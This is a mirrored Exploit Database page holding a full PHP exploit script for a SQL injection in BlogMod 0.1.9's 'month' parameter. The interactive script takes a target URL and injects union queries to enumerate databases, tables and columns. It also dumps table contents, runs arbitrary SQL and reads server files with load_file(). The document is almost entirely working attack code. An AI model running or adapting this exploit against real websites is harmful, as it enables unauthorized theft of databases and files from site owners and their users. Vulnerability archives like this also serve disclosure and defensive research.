Blog Mod 0.1.9 – ‘index.php?month’ SQL Injection

Exploit Database
106 阅读

作者： WhiteCollarGroup

日期： 2012-10-07
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/21786/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

<?php

# Exploit Title: BlogMod <= 0.1.9 SQLi Exploit

# Date: 04th october 2012

# Exploit Author: WhiteCollarGroup

# Software Link: http://www.codigofonte.net/scripts/php/blog/367_blog-mod

# Version: 0.1.9

~> How does this exploit works?

It exploits one of the several SQL Injections in the system.

Specifiedly, in the file "index.php", parr "month".

Usage:

php filename.php

function puts($str) {

echo $str."\n";

}

function gets() {

return trim(fgets(STDIN));

}

function hex($string){

$hex=''; // PHP 'Dim' =]

for ($i=0; $i < strlen($string); $i++){

$hex .= dechex(ord($string[$i]));

}

return '0x'.$hex;

}

$token = uniqid();

$token_hex = hex($token);

puts("BlogMod <= X SQL Injection Exploit");

puts("By WhiteCollarGroup");

puts("[?] Enter website URL (e. g.: http://www.target.com/blogmod/):");

$target = gets();

puts("[*] Checking...");

if(!@file_get_contents($target)) die("[!] Access error: check domain and path.");

if(substr($target, (strlen($target)-1))!="/") $target .= "/";

function runquery($query) {

global $target,$token,$token_hex;

$query = preg_replace("/;$/", null, $query);

$query = urlencode($query);

$rodar = $target . "index.php?year=2012&month=-0%20union%20all%20select%201,2,concat%28$token_hex,%28$query%29,$token_hex%29,4,5,6--%20";

$get = file_get_contents($rodar);

$matches = array();

preg_match_all("/$token(.*)$token/", $get, $matches);

if(isset($matches[1][0]))

return $matches[1][0];

else

return false;

}

if(runquery("SELECT $token_hex")!=$token) {

// error

exit;

}

function main($msg=null) {

global $token,$token_hex;

echo "\n".$msg."\n";

puts("[>] MAIN MENU");

puts("[1] Browse MySQL");

puts("[2] Run SQL Query");

puts("[3] Read file");

puts("[4] About");

puts("[0] Exit");

$resp = gets();

if($resp=="0")

exit;

elseif($resp=="1") {

// pega dbs

$i = 0;

puts("[.] Getting databases:");

while(true) {

$pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT $i,1");

if($pega)

puts(" - ".$pega);

else

break;

$i++;

}

puts("[!] Current database: ".runquery("SELECT database()"));

puts("[?] Enter database name for select:");

$own = array();

$own['db'] = gets();

$own['dbh'] = hex($own['db']);

// pega tables da db

$i = 0;

puts("[.] Getting tables from $own[db]:");

while(true) {

$pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema=$own[dbh] LIMIT $i,1");

if($pega)

puts(" - ".$pega);

else

break;

$i++;

}

puts("[?] Enter table name for select:");

$own['tb'] = gets();

$own['tbh'] = hex($own['tb']);

// pega colunas da table

$i = 0;

puts("[.] Getting columns from $own[db].$own[tb]:");

while(true) {

$pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema=$own[dbh] AND table_name=$own[tbh] LIMIT $i,1");

if($pega)

puts(" - ".$pega);

else

break;

$i++;

}

puts("[?] Enter columns name, separated by commas (\",\") for select:");

$own['cl'] = explode(",", gets());

// pega dados das colunas

foreach($own['cl'] as $coluna) {

$i = 0;

puts("[=] Column: $coluna");

while(true) {

$pega = runquery("SELECT $coluna FROM $own[db].$own[tb] LIMIT $i,1");

if($pega) {

puts(" - $pega");

$i++;

} else

break;

}

echo "\n[ ] -+-\n";

}

main();

} elseif($resp=="2") {

puts("[~] RUN SQL QUERY");

puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().");

puts("[?] Query (enter for exit): ");

$query = gets();

if(!$query) main();

else main(runquery($query."\n"));

} elseif($resp=="3") {

puts("[?] File path (may not have priv):");

$file = hex(gets());

$le = runquery("SELECT load_file($file) AS wc");

if($le)

main($le);

else

main("File not found, empty or no priv!");

} elseif($resp=="4") {

puts("Coded by WhiteCollarGroup");

puts("www.wcgroup.host56.com");

puts("whitecollar_group@hotmail.com");

puts("twitter.com/WCollarGroup");

puts("facebook.com/WCollarGroup");

puts("wcollargroup.blogspot.com");

main();

}

else

main("[!] Wrong choice.");

}

main();